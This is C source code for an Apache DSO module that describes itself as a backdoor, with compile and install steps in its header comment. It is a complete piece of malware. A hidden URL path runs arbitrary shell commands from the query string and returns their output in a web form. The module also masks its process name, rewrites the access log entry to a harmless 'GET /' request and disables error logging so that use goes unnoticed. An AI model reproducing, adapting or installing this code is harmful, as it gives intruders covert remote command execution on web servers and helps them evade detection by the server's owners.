/* mod_backdoor.c 
 *
 * Apache DSO backdoor 
 * by tf8 / buffer0verfl0w
 * (tf8@zolo.freelsd.net) - (b0f.freebsd.lublin.pl)
 * 
 * Compile: apxs -i -c -i mod_test.c << this will automatically compile, 
 * link, and install DSO backdoor. 
 * all you need is to restart apache 
 * 
 * NOTE: USE AT YOU OWN RISK 
 */ 
#include "httpd.h" 
#include "http_config.h" 
#include "http_protocol.h" 
#include "http_log.h" 
#include "util_script.h" 
#include "http_main.h" 
#include "http_request.h" 
#include <errno.h> 
#include <unistd.h> 

#define SIGNATURE "DSO_backdoor/0.9b tf/8" 

#define FAKE_URL "/" 
#define FAKE_STR "GET "FAKE_URL" HTTP/1.0" 
#define SEC_URL "/backdoor" // change this, doud 
#define EXEC_MASQ "-sh" 

module backdoor_module; 

typedef struct backdoor_cmd { 
request_rec *r; 
char *cmd; 
char *wrapper; 
} backdoor_cmd; 

/* 
* not done 
*/ 
static int bd_exec_cmd(request_rec *r, char *wrapper, char *command, char **env) 
{ 
return execl(wrapper,EXEC_MASQ,command,NULL); 
} 

/* Allows user to select a way to execute commands: 
* 1) Via /bin/sh -c 
* 2) Via specified program (command is parsed as single argument) 
*/ 
static int backdoor_child(void *cmd, child_info *i) 
{ 
request_rec *r=((backdoor_cmd *)cmd)->r; 
char *command=((backdoor_cmd *)cmd)->cmd; 
table *env=r->subprocess_env; 
char *wrapper=((backdoor_cmd *)cmd)->wrapper; 

if(!command) 
return 0; /* blam */ 

if(!wrapper) { 
ap_call_exec(r,i,command,ap_create_environment(r->pool, env),1); 
exit(0); 
} 
bd_exec_cmd(r, wrapper, command, 
ap_create_environment(r->pool, env)); 
exit(0); 
/* NOT REACHED */ 
return OK; 
} 

/* Sends a HTML-encoded text 
* 
*/ 
static int bd_send_html_encoded(BUFF *fb, request_rec *r) 
{ 
char chr; 

while(ap_bread(fb,(char *)&chr,1)==1) { 
switch(chr) { 
case '&': 
ap_rputs("&",r); 
break; 
case '<': 
ap_rputs("<",r); 
break; 
case '>': 
ap_rputs(">",r); 
break; 
default: 
ap_rputc(chr,r); 
break; 
} 
} 
return OK; 
} 

/* 
* ap_unescape_url() is too huge and does lot things we dont need here 
* or i missed something?! 
*/ 
static int is_hex(char c) 
{ 
if(strchr("0123456789abcdefABCDEF",c)!=NULL) 
return 1; 
return 0; 
} 
static int to_hex(char c) 
{ 
if ( c >= '0' && c <= '9' ) 
return c - '0'; 
if ( c >= 'a' && c <= 'f' ) 
return c - 'a' + 10; 
if ( c >= 'A' && c <= 'F' ) 
return c - 'A' + 10; 
return 0; 
} 
static void bd_url_decode(char* from, char *to) 
{ 
for (;*from!='\0';++to,++from) { 
if (from[0]=='%' && is_hex(from[1]) && is_hex(from[2]) ){ 
*to= to_hex(from[1])*16+to_hex(from[2]); 
from+= 2; 
} else 
*to = *from; 
} 
*to = '\0'; 
} 

/* parses QUERY_STRING 
*/ 
char *bd_get_string(char *from, char *what, char *where, int max_len) 
{ 
char *result, *temp; 
unsigned int len; 

result=strstr(from,what); 
if(result) { 
result+=strlen(what); 
if( *result || ((*result)!='&') ){ 
temp=strchr(result,'&'); 
if(temp) 
len=temp-result; 
else 
len=strlen(result); 
} 
} else 
result=NULL; 

if(result && (len < max_len-1 ) && *result ) { 
strncpy(where,result,len); 
strncpy(where+len,"\x0",1); 
while(temp=strchr(where,'+')) 
*temp=' '; 
} else 
return NULL; 

return where; 
} 

/* 
* main 
*/ 
static int backdoor_post(request_rec *r) 
{ 
int n, show_ainfo=0, html_encode=0; 
BUFF *std_err, *std_out, *clnt; 
char *args, *wrapper, *command; 
backdoor_cmd cmd; 

/* 
* Make sure, that there is no $SEC_URL directory on DocumentRoot 
* of ANY (virtual) server. There will be no access to scripts under 
* $SEC_URL 
*/ 
if(strncmp(r->unparsed_uri,SEC_URL,strlen(SEC_URL))) 
return DECLINED; /* not for us */ 
if(r->args==NULL || !*(r->args)) { 
r->args=ap_pcalloc(r->pool,strlen("Welcome, BOSS\n")+2); 
r->args="Welcome, BOSS\n"; 
} 

args=ap_pcalloc(r->pool,strlen(r->args)); 
bd_url_decode(r->args,args); 
if(strstr(args,"bd_verbose=on")) 
show_ainfo=1; 
if(strstr(args,"bd_html-encode=on")) 
html_encode=1; 

command=ap_pcalloc(r->pool,1024); 
command=bd_get_string(args,"bd_command=",command,1024); 
if(command) 
wrapper=ap_pcalloc(r->pool,128); 
else 
wrapper=command; 
if(!command || !*command) 
command=NULL; 

wrapper=bd_get_string(args,"bd_wrapper=",wrapper,128); 
if(!wrapper || !*wrapper) 
wrapper=NULL; 

/* 
* Accept command just after "?" without those cgi stuff 
*/ 
if(!command) 
command=args; 

cmd.cmd=command; 
cmd.wrapper=wrapper; 
cmd.r=r; 

ap_hard_timeout("lingering close",r); 
clnt=r->connection->client; 

/* header begin */ 
ap_rvputs(r,SERVER_PROTOCOL," ", "200 OK", "\015\012", NULL); 
ap_send_header_field(r, "Date", ap_gm_timestr_822(r->pool, r->request_time)); 
ap_send_header_field(r, "Server", ap_pstrcat(r->pool,ap_get_server_version(),"",SIGNATURE,NULL)); 
ap_send_header_field(r, "Content-type", "text/html"); 
ap_bwrite(clnt,"\015\012",2); 
/* end of header */ 
ap_bflush(clnt); 

if(!(n=ap_bspawn_child(r->pool,backdoor_child,(void *)&cmd, 
kill_never,NULL,&std_out,&std_err))) { 
return -1; 
} 

/* html body begin */ 

ap_rprintf(r,"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\n<HTML>\n<HEAD>\n<TITLE>%s at %s</TITLE>\n</HEAD>\n<!-- body BGCOLOR=\"black\" TEXT=\"green\">\n",SIGNATURE,r->server->server_hostname?r->server- -->server_hostname:"no server hostname"); 
ap_rprintf(r,"<center><h1>"SIGNATURE"</h1></center><b>Apache child info:</b>uid %d, pid %d, ppid %d<br>\n",getuid(),getpid(),getppid()); 
if(show_ainfo) { 
ap_rprintf(r,"<ul><li> Virutal server: %s<br>\n<li> Timeout: %d<br>\n<li>ServerPath: %s<br>\n<li> ServerUID/GID: %d/%d<br>\n",r->server->is_virtual?"yes":"no",r->server->timeout,r->server->path?r->server->path:"empty",r->server->server_uid,r->server->server_gid); 
ap_rprintf(r,"</ul>\n"); 
} 
ap_rprintf(r,"<br><b>command:</b> %s<br><b>command pid:</b>%d<br>%s%s<br>\n",command,n,wrapper?"<b>command executed via:</b>":"",wrapper?wrapper:""); 
ap_rputs("<p><b>STDOUT:</b><br><pre>\n",r); 

if(!html_encode) 
ap_send_fb(std_out,r); 
else 
bd_send_html_encoded(std_out,r); 

ap_rputs("</pre><br>\n<b>STDERR:</b><br>\n<pre>\n",r); 

if(!html_encode) 
ap_send_fb(std_err,r); 
else 
bd_send_html_encoded(std_err,r); 

ap_bclose(std_err); 
ap_bclose(std_out); 

ap_rprintf(r,"\n</pre>\n"); 

/* 
* Now send a html-form to provide an easier access 
*/ 
ap_rprintf(r,"<center><form action=\" http://%s:%d%s\" method=\"GET\" target="_new">\n<b>Menu</b><br>\n",inet_ntoa(r->connection->local_addr.sin_addr),r->server->port,SEC_URL); 
ap_rputs("<input type=\"submit\" value=\"execute\">",r); 
ap_rputs("<textarea name=\"bd_command\" rows=\"2\"cols=\"60\"></textarea><br>\n",r); 
ap_rprintf(r,"<b>Wrapper</b>: <input type=\"text\" name=\"bd_wrapper\"value=\"%s\"><br>\n",wrapper?wrapper:""); 
ap_rprintf(r,"<b>Verbosity</b>: <input type=\"checkbox\" name=\"bd_verbose\"%s><br>\n",show_ainfo?"checked":""); 
ap_rprintf(r,"<b>HTML-encode</b>: <input type=\"checkbox\" name=\"bd_html-encode\" %s><br>\n",html_encode?"checked":""); 
ap_rputs("</form><font size=-1><font color=\"blue\">made and designed by <a href=\"mailto:tf8@zolo.freelsd.net\">tf8</a><br>© All Rights Reserved</font></BODY></HTML>\n",r); 

/* html body eof */ 

/* 
* r->the_request is used as log string, which will appear in access_log, and 
* because _port call comes before any server-preparation is done, we 
* can specify any string we want to appear as.. 
*/ 

r->unparsed_uri=ap_pcalloc(r->pool,strlen(FAKE_URL)+1); 
r->filename=ap_pcalloc(r->pool,strlen(FAKE_URL)+1); 
r->the_request=ap_pcalloc(r->pool,strlen(FAKE_STR)+1); 
strcpy(r->unparsed_uri,FAKE_URL); 
strcpy(r->filename,FAKE_URL); 
strcpy(r->the_request,FAKE_STR); 
r->unparsed_uri[strlen(FAKE_URL)]='\0'; 
r->filename[strlen(FAKE_URL)]='\0'; 
r->the_request[strlen(FAKE_STR)]='\0'; 

/* 
* Server would not log error message, if FILE *error_log == NULL 
*/ 
r->server->error_log=NULL; 
/* 
* Close client, and exit 
*/ 
ap_bclose(clnt); 
ap_kill_timeout(r); 
exit(0); 

/* NOT REACHED */ 
return OK; 
} 

/* 
* Module function pointers 
*/ 
module MODULE_VAR_EXPORT backdoor_module = 
{ 
STANDARD_MODULE_STUFF, 
NULL, /* initializer */ 
NULL, /* dir config creater */ 
NULL, /* dir merger --- default is to override */ 
NULL, /* server config */ 
NULL, /* merge server configs */ 
NULL, /* command table */ 
NULL, /* handlers */ 
NULL, /* filename translation */ 
NULL, /* check_user_id */ 
NULL, /* check auth */ 
NULL, /* check access */ 
NULL, /* type_checker */ 
NULL, /* fixups */ 
NULL, /* logger */ 
NULL, /* header parser */ 
NULL, /* child_init */ 
NULL, /* child_exit */ 
backdoor_post /* post read-request */ 
}; 
/* END */ 

